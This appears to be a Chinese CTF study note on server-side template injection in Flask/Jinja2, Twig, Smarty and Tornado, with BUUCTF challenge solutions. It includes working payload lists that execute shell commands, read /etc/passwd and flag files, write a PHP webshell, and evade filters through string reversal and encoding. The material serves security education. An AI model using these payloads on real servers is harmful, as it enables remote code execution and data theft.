BUUCTF SSTI模板注入
基礎原理
SSTI模板注入(Server-Side Template Injection),透過與服務端模板的輸入輸出互動,在過濾不嚴格的情況下,構造惡意輸入資料,從而達到讀取檔案或者 getshell 的目的
一般特徵函式:render_template_string
SSTI_flask_labs
可以看到資料被解析了,那麼怎麼注入呢?
1 __class__ 可以返回當前變數的型別:
然後這些型別的基類(也就是父類)都是 object ,而我們要的能夠命令執行的類的基類(父類)也是 object ,所以 ssti 基本思路就是透過類之間的轉換得到我們需要的。
2 .1__bases__ 可以返回當前類的基類(父類)
可以加個陣列進行索引:
至此便得到了 object
2.2 __mro__ 也可以返回基類(父類)
只不過它回把原類顯出來,可以加個陣列只索引 object
3 __subclasses__() 可以查當前類的子類
我們需要的是 <class 'os._wrap_close'> 這個類
4 __init__.__globals__
__init__
函式初始化類,返回型別為function:
然後接__globals__
函式(解釋一:使用方式是 函式名.__globals__
獲取function所處空間下可使用的module、方法以及所有變數。)(解釋二:該特殊屬效能夠返回函式所在模組名稱空間的所有變數,其中包含了很多已經引入的modules,這裡看到是支援__builtins__
的)
最後執行命令
code={{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']("ls /").read()}}
當然方法不只一種,但大概原理都差不多,
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} //也行
參考:https://blog.csdn.net/cjdgg/article/details/115770395
__class__ 類的一個內建屬性,表示例項物件的類。
__base__ 型別物件的直接基類
__bases__ 型別物件的全部基類,以元組形式,型別的例項通常沒有屬性 __bases__
__mro__ 此屬性是由類組成的元組,在方法解析期間會基於它來查詢基類。
__subclasses__() 返回這個類的子類集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化類,返回的型別是function
__globals__ 使用方式是 函式名.__globals__獲取function所處空間下可使用的module、方法以及所有變數。
__dic__ 類的靜態函式、類函式、普通函式、全域性變數以及一些內建的屬性都是放在類的__dict__裡
__getattribute__() 例項、類、函式都具有的__getattribute__魔術方法。事實上,在例項化的物件進行.操作的時候(形如:a.xxx/a.xxx()),都會自動去呼叫__getattribute__方法。因此我們同樣可以直接透過這個方法來獲取到例項、類、函式的屬性。
__getitem__() 呼叫字典中的鍵值,其實就是呼叫這個魔術方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 內建名稱空間,內建名稱空間有許多名字到物件之間對映,而這些名字其實就是內建函式的名稱,物件就是這些內建函式本身。即裡面有很多常用的函式。__builtins__與__builtin__的區別就不放了,百度都有。
__import__ 動態載入類和函式,也就是匯入模組,經常用於匯入os模組,__import__('os').popen('ls').read()]
__str__() 返回描寫這個物件的字串,可以理解成就是列印出來。
url_for flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一個方法,可以用於得到__builtins__,而且lipsum.__globals__含有os模組:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 應用上下文,一個全域性變數。
request 可以用於獲取字串來繞過,包括下面這些,引用一下羽師傅的。此外,同樣可以獲取open函式:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get傳參
request.values.x1 所有引數
request.cookies cookies引數
request.headers 請求頭引數
request.form.x1 post傳參 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post傳參 (Content-Type:a/b)
request.json post傳json (Content-Type: application/json)
config 當前application的所有配置。此外,也可以這樣{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
參考:https://blog.csdn.net/rfrder/article/details/113866139
常用的過濾函式:
int():將值轉換為int型別;
float():將值轉換為float型別;
lower():將字串轉換為小寫;
upper():將字串轉換為大寫;
title():把值中的每個單詞的首字母都轉成大寫;
capitalize():把變數值的首字母轉成大寫,其餘字母轉小寫;
trim():擷取字串前面和後面的空白字元;
wordcount():計算一個長字串中單詞的個數;
reverse():字串反轉;
replace(value,old,new): 替換將old替換為new的字串;
truncate(value,length=255,killwords=False):擷取length長度的字串;
striptags():刪除字串中所有的HTML標籤,如果出現多個空格,將替換成一個空格;
escape()或e:跳脫字元,會將<、>等符號轉義成HTML中的符號。顯例:content|escape或content|e。
safe(): 禁用HTML轉義,如果開啟了全域性轉義,那麼safe過濾器會將變數關掉轉義。示例: {{'<em>hello</em>'|safe}};
list():將變數列成列表;
string():將變數轉換成字串;
join():將一個序列中的引數值拼接成字串。示例看上面payload;
abs():返回一個數值的絕對值;
first():返回一個序列的第一個元素;
last():返回一個序列的最後一個元素;
format(value,arags,*kwargs):格式化字串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}將輸出:Helloo? - Foo!
length():返回一個序列或者字典的長度;
sum():返回列表內數值的和;
sort():返回排序後的列表;
default(value,default_value,boolean=false):如果當前變數沒有值,則會使用引數中的值來代替。示例:name|default('xiaotuo')----如果name不存在,則會使用xiaotuo來替代。boolean=False預設是在只有這個變數為undefined的時候才會使用default中的值,如果想使用python的形式判斷是否為false,則可以傳遞boolean=true。也可以使用or來替換。
length()返回字串的長度,別名是count
對於簡單的也可以用工具
題目練習
簡單
[CSCCTF 2019 Qual]FlaskLight
引數 search
找到 object 的所有子類,
但是裡面沒有 os 的類,看師傅們wp發現還可以用 subprocess.Popen 進行命令執行(可以手工試,也可以用指令碼遍歷)
構造:
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0]}}
也可以
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
繼續拿到 flag 即可
[BJDCTF2020]Cookie is so stable twig模板注入
進入題目在FLAG頁面有登入按鈕,在當登入時抓包,發現post多了引數,但不管怎麼改 username 引數都沒用,然後再在登入進去時進行抓包,發現在cookie又多了個引數,傳參,發現渲染成功,猜測可能渲染的不是登入的時的 username ,而是渲染的登入後使用者名稱
在user處嘗試注入
{{7*'7'}} 回顯7777777 ==> Jinja2
{{7*'7'}} 回顯49 ==> Twig
可以看到這裡為 Twig 模板,而且題目也提示了。這個模板關鍵詞 createTemplate 和 render
注入原理:
這道題什麼都沒有過濾,直接複製payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}
這個payload只適用於Twig 1.x
Twig 3.x可以利用過濾器來執行命令
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 無回顯
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 無回顯
這道題時 Twig 1.x
Twig 模板注入常用 payload
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
[VolgaCTF 2020]Qualifier]Newsellter
雲做一道題。
這裡主要繞過的就是
[WesternCTF2018]shrine
看到原始碼
payload
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
得到flag
[CISCN2019 華東南賽區]Web11
頁尾發現:
1、Smarty SSTI利用:
Smarty是基於PHP開發的,對於Smarty的SSTI的利用手段與常見的flask的SSTI有很大區別。
2、漏洞驗證:
一般情況下輸入{$smarty.version}就可以看到返回的smarty的版本號。該題目的Smarty版本是3.1.30
當然還要其他驗證
a{*comment*}b //確定為smarty模板
3、常規利用方式:
一、
Smarty支援使用{php}{/php}
標籤來執行被包裹其中的php指令,最常規的思路自然是先測試該標籤。但就該題目而言,使用{php}{/php}標籤會報錯
原因:
Smarty3已經廢棄{php}標籤,強烈建議不要使用。在Smarty 3.1,{php}僅在SmartyBC中可用。
二、
{literal} 標籤
官方手冊這樣描述這個標籤:
{literal}
可以讓一個模板區域的字元原樣輸出。 這經常用於保護頁面上的Javascript或css樣式表,避免因為Smarty的定界符而錯被解析。
這道題是php7環境,所以不行
三、
透過self獲取Smarty類再呼叫其靜態方法實現檔案讀寫被網上很多文章採用。
很多文章裡給的payload都形如:{self::getStreamVariable(“file:///etc/passwd”)}
這個舊版本Smarty的SSTI利用方式並不適用於新版本的Smarty。而且在3.1.30的Smarty版本中官方已經把該靜態方法刪除
四、
{if}標籤
官方文件中看到這樣的描述:
Smarty的{if}條件判斷和PHP的if非常相似,只是增加了一些特性。每個{if}必須有一個配對的{/if},也可以使用{else} 和 {elseif},全部的PHP條件表示式和函式都可以在if內使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}
構造:
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
[BJDCTF2020]The mystery of ip
簡單的 smarty 模板注入,注入點為 XFF
[GYCTF2020]FlaskApp debug
fenjing一把梭了:
python3 -m fenjing crack -u http://3254228f-4070-4802-8291-5610fe005d13.node5.buuoj.cn/decode -i text --tamper-cmd base64
其構造的paylaod:
{%set wp='so'[::-1]%}
{%set ca='txt.galf_eht_si_siht/ tac'[::-1]%}
{{cycler.next.__globals__.__builtins__['__i''mport__'](wp)['p''open'](ca).read()}}
中等
[護網杯 2018]easy_tornado
tornado 模板,直接看師傅們的wp:
在tornado模板中,存在一些可以訪問的快速物件,這裡用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,這裡面就是我們的一些環境變數
payload:
{{handler.settings}}
得到 cookie_secret
進行md5編碼
php也行(字串連線用點):
得到flag
[CISCN2019 華東南賽區]Double Secret
路由和引數都是secret。亂輸一通報錯:
進行了rc4解碼然後再進行模板渲染,
所以構造payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
//進行rc4編碼
得到flag: